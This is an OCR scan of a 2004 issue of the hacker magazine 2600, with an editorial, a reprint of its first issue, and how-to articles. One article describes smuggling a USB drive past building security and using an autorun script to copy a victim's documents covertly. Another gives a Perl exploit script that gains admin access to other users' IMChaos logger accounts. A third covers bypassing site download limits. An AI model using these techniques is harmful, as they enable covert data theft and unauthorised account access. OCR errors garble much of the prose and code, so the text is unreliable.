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The Army needs more 


BlUimiS 


"We have never had vulnerabilities 
exploited before the patch was 
known." 

- David Aucsmith, head of technology at 
Microsoft's security business and technology 
unit, February 2004. 



Editor-In-Chief 
Emmanuel Goldstein 


Layout and Design 
ShapeShifter 

Cover Design 
Dabu Ch'wald 

Office Manager 
Tampruf 

Writers: Bernie S., Billsf, Bland Inquisitor, 
Eric Corley. Dalai, John Drake. Paul Estev, 
Mr. French, Javaman, Joe630. Kingpin, 
Lucky225, Kevin Mitnick.The Prophet, 
David Ruderman, Screamer Chaotix, 
Screamer Chaotix, Seraf, Silent Switchman, 
StankDawg, Mr. Upsetter 

Webmasters: Juintz, Kerry 

Network Operations: css, mlc 

Broadcast Coordinators: Juintz, Pete, 
daRonin, Digital Mercenary, Kobold, 
w3rd, Gehenna, Brilldon, Chibi-Kim, 
lee, Nico. Logix, Boink, John 

IRC Admins: daRonin, Digital Mercenary, 
Shardy.The Electronic Delinquent 

Inspirational Music: Boards of Canada, 
Tim Ruts, Elvis Costello, Deodato, 

DJ Dnngormouse, Coil, Jean Michel Jarre, 
(talihy McCIntchy, Tenacious D 

■Hu, it i Out* 1 dgni Allan Poe 


26001 ISSN 0749-3851) is published 
quarterly by 2600 Enterprises Inc. 

2 Flowerfield. St. James, NY 11780. 

Periodicals postage paid at 
St. James, NY and additional offices. 

POSTMASTER: 

Send address changes to 
2600, P.0. Box 752 
Middle Island. NY 11953-0752. 

Copyright (cl 2004 
2606 Enterprises. Inc. 

YF \KI \ St INSCRIPTION: 

U.S. and Canada • 

S20 null \ i'll \50oM |xirute (U.S. funds). | 
Overseas \ M • mills nliml. S65 corporate. 

Back issues .. .ul.iNc for 1984-2003 at 
S20 pci \ c-.it Vb per \ ear overseas. 

Individual i"m s . nibble from 1988 on 
at $5.00 each. Sft.50 each overseas. 

ADDRESS \l l SI HSCRIPT10N 
CORK I SIMNDKNCE TO: 

2600 Sul's, m| IX'i'i . P.O. Box 752 

Middle I NM 1953-0752 

(subs@2ri00.cnmi. 

FOR l.l III RS \ND ARTICLE 
si BMIsslnSS. WRITE TO: 

2600 Edit I* PO. Box 99 

Middle Fi S5 11953-0099 

< lettci n < ■ '< hi H ulcs@2600.com). 

\ 2600 (Min I C. Ml -751-2600 
\ 2600 FAX lit* AM- 474-2677 


fUlND DROPPING* 

Twenty Years After 
Taking Advantage of Physical Access 
Bypassing Minor Website Security 
Exploiting AIM Screen Name Loggers 
Using Perl to Defeat Provider Restrictions 
A Simple But Effective Spanner in Your AVS 
Hacking the Hilton 
Cruise Cracking 
A Sprint PCS Trick 

Hacking a Mercedes Benz with a Universal Remote 
The $ l 40 Hardware War Dialer 
Serial Number Security 
Barcode Tricks 

Installing Debian on your Unmodded Xbox 
Letters 

Uncapper's Paradise 
Inside Adelphia 

Subverting Non-Secure Login Forms 

Setting Your Music Free: iTunes Music Sans DRM 

Vonage Broadband Security Risk 

Sharing Your Life on a Peer-to-Peer Network 

MSN Redirect Scan 

Marketplace 

Meetings 



This issue marks the beginning of our 
20th anniversary. Never in our wildest 
dreams did any of us think it would come this 
far. 

Back in 1984, our first issue was xeroxed 
after hours in an office we weren't even sup- 
posed to be in and sent out to about two 
dozen people who had heard about us on sev- 
eral BBS's. We fully expected to be arrested 
shortly afterwards, since there was already an 
active hacking prosecution focusing on mem- 
bers of our staff and since we chose to put an 
expose in our first issue that exposed an FBI 
informant. 

As it turned out. the knock on the door 
never came, the prosecution ended with a rel- 
atively fair sentencing (no damage caused, no 
imprisonment, no crippling fines), and the 
case that the exposed FBI informant was 
helping to build collapsed under the weight 
of the scandal. Even members of the FBI saw 
humor in the situation. 

A lot has happened in 20 years. 

We often choose to focus on the negative 
developments, mostly because they pose an 
imminent risk to many of our readers and 
also because there seem to be so many of 
them. But there have been plenty of good 
things over the years and we have no doubt 
there will be many more. It's important not to 
overlook them. 

The fact that we're still here and still 
strong is really a cause for celebration. From 
the beginning, we've gotten support from 
some of the most unlikely places. That was 
our first big surprise. People within many of 
the federal agencies we had seen as foes 
cheered us on with letters of encouragement 
or warm words at a conference. A good num- 
ber of individuals inside the corporations we 
wrote about looked forward to their next is- 
sue of 2600 as eagerly as any hacker. They 
even helped out by writing articles. And the 
enthusiastic reaction spread everywhere else 
you could imagine - foreign countries, the 
military even a few parents. And none of this 
■-< rmed to be in any way limited to one end of 
tin |Nililu al spectrum. From the far left to the 
fai ii|lii in, I |usi about everywhere in be- 


tween, people seemed to get it, to appreciate 
what it was that 2600 stood for. And that, 
more than anything else, is what has kept us 
going. It's one thing to stand up for what you 
believe in and to constantly be speaking out 
on the issues. But without the support shown 
from all of you in so many different ways, we 
would have quickly run out of steam. We can 
only hope that others who become involved 
in things they feel passionately about get to 
experience this remarkable feeling too. 

It was ten years ago that our main concern 
was the explosive interest in the hacker world 
by the mainstream and how this could pose a 
threat to our ideals. In 1994, on our tenth an- 
niversary, there was a surge in books and 
movies about hackers and this in turn led to a 
huge influx of people who wanted to call 
themselves hackers without actually learning 
anything. The dynamics had changed and 
hackers were in danger of being subverted by 
this sudden mass appeal. Today the masses 
still regard hackers with a mixture of fear and 
admiration but, more importantly, the hacker 
ethic is still alive and well. If it can survive 
what's going on today, we think it'll be 
around for quite some time to come. 

It was also in 1994 that we had our very 
first HOPE conference which originally was 
organized to mark our tenth anniversary. Ten 
years later, we're having our fifth conference 
- The Fifth HOPE. The conferences too have 
witnessed massive growth and change over 
the years and we constantly hear how the ex- 
periences have made a difference in people's 
lives and given them all kinds of inspiration 
and new things to think about. We hope to 
continue that tradition this July and we're 
looking forward to seeing many of you there 
as we officially celebrate 20 years. And if you 
want to get involved as a speaker or a volun- 
teer, we welcome your participation as al- 
ways. Just visit www.hope.net for all the 
details. 

While being around for everything that's 
happened in the last two decades was some- 
thing truly unique, we need to remember that 
there is a constant influx of new people who 
didn't get to witness most of it firsthand, i 





E b 0 0 Hagazine- 


That's why our history is vital and why we’re 
so lucky to have much of it documented, 
whether it be through our back issues, our 
archived radio shows, or video from the con- 
ferences. Things are always changing but that 
change can be imperceptible on a day to day 
basis. It's important to go back and review 
and realize how our lives, our technology, 
and society have become different. And for 
those who are new, knowing how things 
looked, sounded, or felt in the past is a key to 
understanding and affecting the future. 

We all know about the bad things - the use 
of technology as a restrictive tool, the 


increasing paranoia and repression that's allN 
around, the demonization of hackers, the 
insane and out of proportion punishments.... 
The way things are going it's likely to get a 
lot worse before it gets any better. That's why 
our collective voices are so important. Imag- 
ine what the last 20 years might have been 
like had we never gotten beyond that first is- 
sue. We didn't know what would happen next 
back then and we know that even less today. 
But what we do know is that we have to face 
it without flinching. This is how history is 
made. 



January, 1984! 


VOLUME ONE. NUMBER ONE 


AHOY! 

(That't How Alexander Graham Bell used lo answer hit phone For some reason, il never caught on J 


This is the very first issue of 2600 We will, oo this 
page, explain our motives and what the goals are 
which we hope to achieve with this publication 

The idea for 2600 was born early in 1983 We saw a 
tremendous need for some form of communication 
between those who truly appreciate the concept of 
communication: technological enthusiasts. Of course, 
others have different ways of describing such people 
these range from words like hacker or phreaker to 
stronger terms such as criminal or anarchist. Our 
purpose is not to pass judgement 2600 exists to 
provide information and ideas to individuals who live 
for both. All of the items contained on these pages arc 
provided for informational purposes only. 2600 
assumes no responsibility for any uses which this 
information may be put to. 

Of course, a lot has changed since our first days. 
War Games came out And then the 414 gang got 
caught Suddenly everyone was talking about 
p breakers and hackers. And while there were some 
that tort of jumped into the limelight, others were a bit 
more cautious, in fact, some were quite upset. Sure, 
the publicity was fun. Hut what would be the cost 7 

Well, time hat passed and the cost has been high. 
Phreakert and hackers have been forced into virtual 
isolation. Raids by the FBI have become almost 
commonplace The one magazine that was geared 
towards phone phreaks {TAP) mysteriously disap- 
peared at the height of the crisis, sparking rumours 
that they. too. had been raided However, in 
November, the magazine resurfaced, with an 
explanation that a fire had destroyed part of their 
mailing list ( Incidentally, if your name was one of (he 
ones that was lost, you can claim the issues you are 
entitled to by tending TAP a copy of their mailing 
label or a cancelled check ) 

And then there was the legendary computer bulletin 
hoard known ns OSL'NY Enthusiasts from all across 
the country called up this board and left messages 
ranging from the latest in Sprint codes to how to crash 
an RSTS system to what to do once you've finally 
gained access to Autovon Within a week after being 
mentioned in Mpn iuvrA. OS U A' Y was disconnected 
Word has it that they ore still in existence somewhere, 
hut by invitation only A truly smart move, if that is 
the case 

Many hackers were keeping u low profile even 
holme the October raids. When the FH1 confiscated 


equipment from IS sties across the country on the 
twelfth and thirteenth of the month (sponsored by a 
grant from the folks at GTE), many of our contact* 
were lost because they feared the consequences of 
continuing. Two organizations, the Inner Circle and 
PH ALSE. were deeply affected by the raids The latter 
group (whose initials signify Phreakers. Hackers, and 
Laundromat Service Employees) i* still in contact with 
us on occasion and has promised to contribute many 
article* devoted to just what was really going on. 

So it seems that the events of 1983 have conspired to 
actually strengthen the resolve of hackers and 
ph makers acrou the country to put out this monthly 
newsletter. We hope you will help us continue by 
subscribing, spreading the word among your friends, 
end of course contributing articles and information 
Since we are non-profit, it really doesn't matter to us if 
you aero* your copy and send it to someone else— all 
we ask is that you let us know so that we can have a 
rough idea of how many people wc'rr reaching. 

2600 has several sections, some of which will appear 
every month, others on an irregular basis. On this, the 
front page, and on page two. you will always find 
informative full-length features on relevant subjects. 
Future topics include “A Guide to Long Distance 
Telephone Services and Their Vulnerabilities". “DEC 
and Their Many Mistakes'. Phreakjng ÂŤn the 
Sixties", and "Tracing Methods Used by the Law", as 
well as any late-breaking items. "FLASH" appears on 
page 3 and provides a roundup of timely news items 
written from a technological enthusiast's perspective 
Page 4 is used for a variety o< things interesting 
stories from the past, schemes and plots that just might 
work, and feedback from subscribers. The last two 
pages of 2600 are comprised of data Just what son of 
data, we cannot say However, if it is something that 
you are looking for. then you will probably recogm/c 
it. 

The three holes on each page serve a purpose We 
suggest that you obtain a lootc-lcaf hook so that you 
can neatly file every issue of 2600 you receive. 

Mans thanks lo those ot you who subscribed 
without even seeing an issue A word ul advice, 
though don't do it again or you'll probably get ripped 
off' We'd also like to thank those who took advantage 
oi our (rcc issue oiler If interested in subscribing, the 
rates and address can he found at the lop ol this page 

Welcome to 2600 \ urn the page ami become a pan 
ol out unique world 


9 a 


s 





iMIdG flDVfMGE OF 

Physical access 


by Wrangler 

If you want to attack someone, you don’t 
do it on CNN. Rather, you plan covertly, go 
in quietly, accomplish your objective, and get 
out leaving no traces. This methodology is 
standard operating procedure for hackers, 
military Special Forces, and anyone else with 
a clue. What follows is a brief lesson on how 
to hack a computer in a secure organization 
under certain circumstances. 

The following givens apply to this discus- 
sion. First, physical access to the target ma- 
chine is required. Second, the machine must 
not require authentication, i.e. it must already 
be "logged in." Third, the available account 
must afford sufficient privileges to permit the 
user to physically attach hardware to the ma- 
chine. On most computers running a variant 
of UNIX this will require operator or root ac- 
count access. On computers running Mi- 
crosoft Windows XP or 2000 every account 
can perform this task unless explicitly 
prohibited in the user policy. 

Begin by purchasing a 256 megabyte 
solid-state hard drive. I bought one recently 
on eBay for around US $50 plus shipping and 
handling. The typical unit measures .25 by 
.75 by 2.75 inches. The unit connects to the 
computer using any available Universal Ser- 
ial Bus (USB) port. Any computer that has 
enabled USB ports recognizes the hardware. 
Driver installation is automatic for Windows 
XP and 2000 machines, courtesy of Mi- 
crosoft's "plug and play" mechanism. The 
drive will appear as a removable disk. For 
machines running UNIX with USB compiled 
into the kernel, no driver is required. How- 
ever formatting, mounting, and unmounting 
the drive requires full administrator (root) 
privileges. The drive can be preformatted 
with various file systems for Windows or 
UNIX machines depending upon what ma- 
chine you intend to target. Format the drive 
with one or more file systems prior to reach- 
1 mg the target location. 


These new solid state USB drives are vir- 
tually undetectable by the hulking giant metal 
detectors used to scan people who enter and 
leave corporate and government buildings. 
Dismantle or modify the sole or heal of a run- 
ning shoe or dress shoe that will accommo- 
date the hardware. To infiltrate the device 
into the target location, upon arrival at the 
target casually toss your suspicious cellular 
phone and deadly car keys into the plastic I 
tray provided and walk through the metal de- 
tector without so much as a second look. If 
the target location requires you to remove 
your shoes, as some federal buildings do, 
conceal the device in a metal coffee mug by 
wrapping it in a plastic bag, effectively 
"floating" the device inside the metal con- 
tainer, which will appear to be empty. In the I 
unlikely event that security personnel open 
the container, act surprised, apologize, and ' 
retreat to return the offensive device back to 
your car. 

Once you have infiltrated the device 
within the confines of the building, it is a sim- 
ple matter of waiting for an opportunity. An 
unattended workstation that is not properly 
secured and a couple of uninterrupted min- 
utes and the data, confidential or otherwise, 
are yours for the taking. Suiprisingly, the one 
shortcoming of using these devices is not the 
gizmo itself. Rather, the target computer's 
hard drive will be your biggest obstacle. The 
flash memory chip inside the solid-state hard 
drive can read in the data as fast as the com- 
puter can hand it over. Hard drives, however, 
operate much more slowly, make noise, and 
usually illuminate a light when they are in 
operation. Additionally, the presence of the 
USB port on the front of the machine, such as 
with some Compaq workstations, will make 
the data transfer somewhat conspicuous since 
some solid-state flash disks light up when 
connected. 

To implement the data transfer, a variety 
of options are available. You may choose a 
commercial product, such as Symantec 

Sb 0 0 


P < g • b 


Ghost, and attempt to copy the entire drive 
(provided that the solid state disk can accom- 
modate the target hard drive's capacity). Al- 
ternately you can utilize other software, 
perhaps custom built to not show up in the 
Task Manager Window, and grab data at your 
leisure. The data capture can be scripted if 
you are familiar enough with the target ma- 
chine to identify the data of interest before- 
hand. If you will have uninterrupted access to 
the machine over a long period of time, this is 
the best method since the software can be 
written to perform the data transfer in a less 
obvious manner. Another option available if 
die machine will be accessible over a long 
period of time is to utilize a keystroke moni- 
tor and capture any username and password 
combinations that the target may enter. 

Recently I attempted this tactic on an un- 
suspecting acquaintance. While distracting 
the target. I inserted the solid-state hard disk 
into the USB port on the back of their PC. 
The Windows operating system automati- 
cally recognized and installed the drive. 
Next, Windows automatically loaded a 


pre-written script, named autorun, from the ' 
flash disk. The script proceeded to copy the 
workstation's "My Documents" folder and all 
existing subfolders while the target and I 
were away from the office. Back in the office, 
when the opportunity presented itself, I re- 
moved the hard drive from the USB port. The 
target computer displayed a dialog box indi- 
cating that removing a drive without detach- 
ing it first is not recommended. I quickly 
checked the "do not display" box and clicked 
the OK button. With the flash disk in my 
pocket, I walked away undetected. 

What can be done to defend against such 
an attack? Since most organizations will not 
abandon Windows, they need to ensure that 
their existing network security policy pro- 
hibits users from attaching any hardware to 
their machines. Site security needs to be edu- 
cated and informed about the technology so 
that they can be more vigilant. Last but not 
least, employees must be trained to not leave 
their workstations unattended for any period 
of time, especially when non-employees are 
present in the organization. 


/ X 


in 


mi 


by Galahad 

galahad@galahadhq.com 

This article describes several tricks some 
websites use to protect their content, limit the 
number of times you use their services, and 
even spy/collecl information on you. It also 
describes methods to bypass this sort of mild 
security. Keep in mind that this article is for 
educational use only. The sites that apply 
these methods of security may do so in an ef- 
fort to protect their copyrighted content. It is 
every artist's right to give out his work for a 
price, and you must respect that. I do not en- 
dorse stealing (though in this case the crime 
is cheating at worst). This is only for you to 
leant of these tricks, how to bypass them, and 
how to use them for your own website, so 
that we can crack them, hehe. 

In this article I'll be using Windows 98 SE 
and Internet Explorer 6. If you use another 


operating system or bqpmlH mid the At Jigs 
equivalent to those ÂŽesc(ibfd >on*your 
browser or OS. I'd like X^eiTITontMat this 
article is written for beginne^, andTam quite 
sure that most of the methods described are 
already known to and maybe used by the 
more advanced. But then again, I might sur- 
prise you. Let me also mention that any web- 
sites mentioned here are merely used as 
examples. I do not mean to harass these sites. 
1 only included them because they bear good 
examples of the "tricks" I describe. 

Right-Click Suppression 
Problem: Ah yes, good old right-click 
suppression. This is the method to "protect" 
the site's viewable content from being saved 
to disk through disabling the right click of the 
mouse. This is also the most annoying and 
the easiest to bypass. The sites that use this 
are usually quite amateurish (have you ever 


noticed that no professional website has 
right-click suppression?) and it can be very 
annoying for the user of the website. 

Solution: What we want to do here is save 
the text, the images, and the video that is on 
the website onto disk. How do you do that? 
Simple. Just view the website. Now it’s on 
your hard disk. "How?" you may ask. Well, 
what the webmasters that use right-click sup- 
pression don't realize is that when you view 
text or image or video on their site, it's down- 
loaded into your "Temporary Internet Files" 
folder automatically. So the files they try so 
desperately to protect are already on your 
computer. So the only problem is how to get 
to the files on your computer. Ill explain how, 
and 111 also describe a few alternative 
methods to do this. 

Method A: View the website. Once the 
whole page has been downloaded, go 
View>Source. This should open up your 
notepad/wordpad. Now, what we need to find 
is the name of the file we want. Look for text 
nearest to the picture in question. For in- 
stance: "This is a picture of a full moon" is 
shown on the page right next to the picture on 
the page. So in the source code of the docu- 
ment (View>Source) search for "This is a 
picture of a full moon". Now, if the picture 
came in after the text, then look for the 
picture name after this text. An example of 
what the picture will look like is: 
<IMG SRC- "abed. gif" WIDTH="620” HEIGHT 
•*=» 200 " >, where "abed. gif' is the name of 
the picture you’re after. Now open your Win- 
dows Explorer, go to the "Windows" folder, 
then to the "Temporary Internet Files" folder. 
Search for "abed". Note that 1 didn't include 
the file extension ".gif'. There is a reason for 
that. When the search finishes, you should 
see something like "abcd[l].gif". That's the 
file. If there are multiple results, they will 
look like "abcd[ 1 J.giF' and "abcd[2].gif". 
This means that there was another image 
named "abcd.gif" on another site. Open them 
both to see which one is the one you're after. 
Once you find it, copy it to a folder you want, 
and there you go. 

The next method is a simpler way to do 
the above: 

Method B: Open the web page you want. 
Go File>Save As and save it somewhere on 
your computer. We'll name the file "Gamesta 
—lion". Now, go to that file on your computer. 
In the same folder that contains "Gamesta 
•tion.htm" there should be a folder named 
"Gamestation_files”. Open that folder. It 


contains all the pictures contained on that site? 

The next method is a more complex ver- 
sion of the above, that involves removing the 
JavaScript code that causes this right-click 
suppression from the file saved locally. You'll 
need an HTML Editor program, though you 
can simply open the ".htm" file from notepad. 

Method C: Open the saved "Gamesta 
•tion.htm” through your HTML editor or 
notepad/wordpad. Near the beginning of the 
source code, somewhere in between the 
<HEAD> and the </HEAD> tags, there 
should be some code in between a 
<SCRIPT> and a </SCRlPT> tag. It should 
look like the following: 

< SCRIPT language-JavaScriptl . 1> 

<!-- Begin 

function right (e) { 

if (navigator. appName -= 

•'Netscape' && 

(e. which == 3 | | e. which == 2)) 
return false; 

else if (navigator. appName == 
•'Microsoft Internet Explorer' && 
(event. button == 2 | | event. button 

• 3 ) ) ( 

alert ( "Right click has been 
•disabled. Please don't steal.”); 
return false; 

} 

return true; 

} 

document . onmousedown=right ; 
if (document. layers) window. captureEvents 

• (Event .MOUSEDOWN) ; 
window. onmousedown- right ; 

// End --> 

</SCRIPT> 

Found it? Delete that piece of code. Now 
save the file, and open it from your web 
browser. You should find that there is no 
more right-click suppression. 

Cookie Protection 

Problem: Some sites offer services for 
free, but only for a few times a day. For in- 
stance. gamewallpapers.com contains down- 
loadable wallpapers of various games. You 
can download two or three and then you get a 
message: "Daily Wallpaper Limit Reached." 
To view more wallpapers, you have to pay an 
amount of money or wait for the next day to 
see a few more. 

Solution: In this case, the site places a 
cookie on your system. Whenever you visit 
the site, it will view that cookie, and see how 
many, if any, wallpapers you have seen that 
day. What we have to do is block the site 


P a g a B 


2 b 0 0 Hagazine 


from opening the cookie. There are two ways 
to do this. The first will allow you to view as 
many wallpapers as you like. The second is in 
case the first doesn't work, and you'll have to 
repeat the process every time you view three 
wallpapers. 

Method A: Open Internet Explorer. Go 
Tools>Intemet Options. On the window that 
will pop up, click on the "Security" tab. Near 
the bottom of the window, there should be a 
"Custom Level" button. Click on it. In the 
new window that will pop up, scroll down 
until you see "Cookies". Under "Cookies" 
there are two sub-titles: "Allow cookies that 
are stored on your computer" and "Allow 
per-session cookies (not stored)". Each of 
these two has three selections: "Disable", 
"Enable", and "Prompt". Select "Disable" for 
both of them. Click "OK" and "Yes" on the 
message that will pop up. Note that from this 
screen you can click "Default Level" to 
restore your settings as they were before if 
you have any problems. Now click "Apply" 
and click "OK". Close your browser, reopen 
it, and go to the page with the limitations, in 
our case "gamewallpapers.com". Presto! 
Unlimited access to the content! 

What? It didn't work? When you go to the 
page it says: "Your web browser uses an 
HTTP proxy that filters out ’cookies'" or 
something similar? Oh well. Guess we'll have 
to try the other method: 

Method B: Open your Windows Explorer. 
Go to the OS directory (Windows in my 
case), then to the "Cookies" directory (or 
wherever your computer stores your cook- 
ies). Now, look for (manually or by search- 
ing) a cookie that contains the address of the 
site in question. In my case it’s "gamewallpa 
•pers.com”. (Note: There may be more than 
one. If so, select them all.) Found it? Now 
delete the little bugger! Next, open Internet 
Explorer. Go Tools>Intemet Options. From 
here look for "Temporary Internet Files". In 
this area click the "Delete Files..." button. 


make sure there's a check mark in the box’ 
next to "Delete all offline content", and click 
OK. When it's done deleting, click "Apply" 
and click "OK". Then open the website and 
get the files. The thing is, once you hit the 
limit again, you'll have to repeat the entire 
process. Better hope the files are worth the 
trouble.... 

Web Bugs 

Problem: A web bug is a small graphic on 
a web page or in an e-mail message designed 
to monitor who is reading the page or mes- 
sage. Web bugs are usually GIF images, 1- 
by-1 pixels in size, so are most probably 
virtually invisible. They are usually placed 
on Web pages by third parties interested in 
collecting data about visitors to those pages. 

Solution: You can't exactly remove a web 
bug from a website. And even if you down- 
loaded the whole site and removed the web 
bugs from the source code of the local file, 
you would still need to actually find the web 
bug. and that's not easy. In the source code of 
the page in question, you should look for tags 
in the code that start with "IMG SRC”, for in- 
stance <"IMG SRC="images/bug.giF’>. The 
size of the image should be 1 -by- 1 pixel 
(W1DTH="1" HEIGHT=”1"), and the loca- 
tion of the image will usually be on another 
website (<IMG SRC="http://ad.doubleclick. 
•net/images/bug.gif">). 

A much easier way to find web bugs is us- 
ing an Internet Explorer add-on called "Bug- 
nosis", which can be downloaded from 
www.bugnosis.org, where you can also find 
more detailed documentation on web bugs. 
The Bugnosis add-on locates the web bugs in 
a web page you're viewing and replaces it 
with an image you select This way you can 
make the web bugs appear, though this won’t 
halt their activity. To block web bugs you 
must use an advertisement blocker (a few 
good ones are recommended at the Bugnosis 
site). 


Are You an "Off The Hook" Listener? 


If you've grown weary of downloading all of the archived shows from 1988 onwards, 
then you should continue reading this paragraph! We've taken all of the shows from 
1988 to 2003 and stuck them onto a single DVD. That's right, they're all on one disc! 
These are the MP3’s that you can still download from our site. For only $30 you can 
save yourself the time and storage needed to have all of these shows (and show 
summaries) at your fingertips. (These DVD's are readable in all but the oldest of DVD 
computer drives and they will also work on most standalone DVD players!) 

To order, visit our online store at http://store.2600.com or send $30 to: 

2600 P.O. Box 752 Middle Island. NY 1 1953 USA 






by Stik 

As an AOL Instant Messenger user, you are probably familiar with IMChaos.com. the site 
known for its unique screen name loggers. To make and use your own. you choose what type of 
logger you want from their site; Simple List, Profile Pic, Spy Survey... all offered options will 
work. You fill out the required forms then copy and paste your personally generated hyperlink to 
your profile. Your friends will see the link in your profile, click it, and it will add their screen 
name to the list of others who clicked the link. 

On older IMChaos loggers, you were able to gain admin access by copying the hyperlink url 
from the AIM Profile window and pasting it into your browser address bar and changing your 
screen name to the profile holder's screen name. With admin access you can delete, edit, and view 
detailed info about the visitors. 

Once this technique stopped working, I started to think about what the problem could be and 
what they could have changed to prevent this from functioning. I knew it worked in the AIM 
Profile window, but not Internet Explorer or any other browser I tried. I used a small script to grab 
the environment variables out of the current browser, so I could compare the results from Internet 
Explorer with those from the AIM Profile. 

# ! /usr/bin/perl 
## 

## printenv -- demo CGI program which just prints its environment 
## 

print ” Content- type : text/plain\n\n" ; 
foreach $var (sort (keys (%ENV) ) ) { 

$val - $ENV{$var}; 

$val — s I \nj \\n| g; 

$val =- s [ " | \\" |g; 

print "${var}=\"${val}\"\n" ; 

} 

I then noticed the difference in UserAgent strings and came to the conclusion that the php 
script they use on their site must have a line of code that looks something like this: 

<?php 

$ua = $_SERVER [ ' HTTP_USER_AGENT ' ] ; 

if($ua -- "AIM/30 (Mozilla 1.24b; Windows; I; 32-bit) ") { 

//they are using aim and everything should work 
} else ( 

//they aren't using aim so the screen name will not be added 

} 

?> 

I decided to test my theory by writing a script to spoof the AIM Profile window using Perl, 
emulating the AIM Profile browser by using its UserAgent in my attempt to reach the admin page. 
Just as I thought, the site only works properly for the AIM Profile browser, and now, any browser 
using my script. My code is listed below. I commented it heavily for this article so you can un- 
derstand what is going on. If you decide to try to run this code, make sure it is on a machine sup- 
porting perl/cgi with the modules HTTP: Request and LWP: UserAgent installed (which are easily 
obtained for free at cpan.org if you do not have them). Once you become comfortable with the 
code feel free to add on to it and make it better. 

## IMChaos . cgi 

tttt Exploit to gain admin access to any IMChaos account 
Hi) Spoofs the AIM Browser Window 
tt tt Written by; Stik 
i use HTTP :: Request ; 


Magazine- 


use LWP; : User Agent ; 

## Includes the above modules to be used in the script 
print "Content -type : text/html\n\n" ; 

## To output as an HTML Page, this is necessary 
$agent = 'AIM/30 (Mozilla 1.24b; Windows; I; 32-bit)'; 

## Use rAgent String of the AIM Window 
$tmp = $ENV ( ' QUERY_STRING ' ) ; 

## URL of the hyperlink clicked, blank if no hyperlink was clicked 
if ($tmp ne "") { 

## The following keeps the browser spoofed when hyperlinks are clicked 
$tmp =~ s/link=//g; 

tilt Removes the word " link* " from the URL of the clicked hyperlink 
$listurll = $tmp; 

## URL of the clicked hyperlink 
$ua = new LWP; ;UserAgent agent=>$agent, env_proxy=>l ; 

U# Spoof the AIM Profile UserAgent as the UA of the current browser 
$req uest = HTTP: : Request ->new (GET => "$listurll ") ; 

$content = $ua->request (Srequest) ->content; 

## Request the HTML of $listurll , the clicked hyperlinked page 
print "$content<br>" ; 

## Display the page as it would be seen in the AIM window 
} else ( 

## The Normal Spoofed page, before any hyperlinks are clicked 
$listurl = 'http://dilutedweb. com/m. php?a=AdminScreenName&b= 
SETOFLETTERS ' ; 

## Slisturl MUST be the hyperlink url with the profile holder’s SN in place of yours 
$ua = new LWP: : UserAgent agent=>$agent, env proxy=>l ; 

## Spoof the AIM Profile UserAgent as the UA of the current browser 
$request *= HTTP : : Request - >new ( GET => "Slisturl") ; 

$con tent = $ua- >request (Srequest) ->content ; 

## Request the HTML of Slisturl , the Admin IMChaos Page 
Scontent =- s/\href= \ "/href= "IMChaos . cgi ?link=/g ; 

## Replace all links with code to keep the browser spoofed as AIM 
print " Scontent <br>" ; 

tttt Display the page as it would be seen in the AIM window 


USING PERL TO 

Prouider Restrictions 


by TRM 

In this article I will describe how two Perl scripts can work together to update your hosted 
website with links to your personal home web server. This is handy if you have a broadband 
ISP that changes your IP address on a regular basis, or if you just need to be able to handle the 
rare occasion where that might happen. 

Background 

A few years ago the company I work for was selling some of their old PCs to the employ- 
ees. 1 purchased one of these systems because I wanted the 17" monitor. The computer was a 
no-name 200MHz with 32M of RAM. Not knowing what else to do with this box I installed 
Linux. It soon became a headless Apachc/MySQL server. Having experience with Perl and 
databases I began writing a small application that would allow me to save and catalog work- 
related information (like Oracle optimization tricks, which I have trouble remembering on my 
own). 

I have broadband service and a home network. A diskless Coyote Linux router provides 
NATing, DHCP, and firewalling. I opened a hole in the firewall and port forwarded to my new 
Linux box. Now I could access my web server from work and home! 

Spring BOOM Page 11-^ 


I 





' The Problem 

Occasionally my ISP updates my IP address. Or the power goes out for a day and my old IP 
gets reallocated. Whatever the reason, every now and then my IP address changes. The more I 
came to depend on my little web application (which was growing all the time), the more in 
convenient these IP changes became. I was the only one who was going to access the server so 
I didn't see the point of subscribing to a DNS service. 

1 tried to find a way to email myself at work whenever the IP changed, but every attempt I 
made to determine my external (ISP provided) IP address from the Linux server using a script 
ended in failure because of the NATing. I could have loaded a script onto the boot floppy of the 
Coyote router, but there isn’t much room on that floppy for extra scripts, so running a program 
from there didn’t seem like a good option. 

The Solution 

Then I remembered that when a web server receives a request the IP address of the re 
quester is available to CGI scripts. So I wrote two Perl scripts. The first script is run from a 
cron job on my Linux server at home. It makes a web site request. The second script runs on 
my free website account. It handles the request from the first script and creates files which are 
later included in one of the pages on the site using Server Side Includes. 

Here is the first script: 

# !/usr /bin/perl 

######################### 

## aetIP.pl - requests a page from a website and just exits. 

######################### 

use strict ' refs * ; 

use LWP: :Simple; 

my ($content) ; 

my SlinkORL = "http://<your external site here>/cgi-bin/getIP .pi" ; 


$content => get l$linkVRL> ; 

This script doesn't do much, but it does introduce the LWP Perl module. LWP provides an 
easy way to implement web clients in Perl. In this case all we want to do is send a request to 
our Perl script on the external site. We don't care about getting a page back so the script termi- 
nates right after the request. I created a cron job that executes this script once every hour. So if 
the IP address of my home web server changes, the links on my external site will have the new 
IP within the hour. This is really handy if the IP changes while I'm trying to use my application 
from work. Of course, I could run this script every five minutes if I wanted to. 

The second script does most of the work (not that there's much to do). It uses the web 
server's REMOTE_ADDR environment variable to create small files on the web server. Using 
SSI these files are later included into a page on my external site. 

# 1 /usr/bin/perl 

######################### 

## getIP.pl - Save Che IP address of the requester 

im****#******#***##**### 

use strict ' refs ' / 

$remoteAddress = $ENV{REMOTB_ADDR } ; 

# 

# This saves a tile on the server that contains just the IP address, 

# just for shits and giggles. 

# 

open ( OUTFILE, “ >home I P. txt " ); 

print OUTFILE $remoteAddress ; 

close OUTFILE; 


r- ' \ 

# This tile contains an HTML anchor that points to the application 

# on my home server. 

n 

open ( OUTFILE, " >appname . html " ) ; 

print OUTFILE "<A HREF*\"http://$remoteAddress/appname\">My Application</A>" ; 
close OUTFILE; 

n 

U This file has an HTML anchor that points to the same application 

# on my home server. But this time over SSL (port 443) 

# 

open ( OUTFILE, " >secure_app . html ■ ) ; 

print OUTFILE "<A HREF*\"https : //$remoteAddress/appname\ " >My App (secure) </A>" ; 

Close OUTFILE ; 

# 

ft This file has an HTML etnchor that points to a second application that I use. 

f 

open l OUTFILE, " >secondApp . html " ); 

print OUTFILE " <A HREF=\"http: //$remoteAddress/secondApp\" >Second App</A>" ; 
close OUTFILE ; 

# 

ft A static web page on the home server 
ft 

open ( OUTFILE, " >page . html " ); 

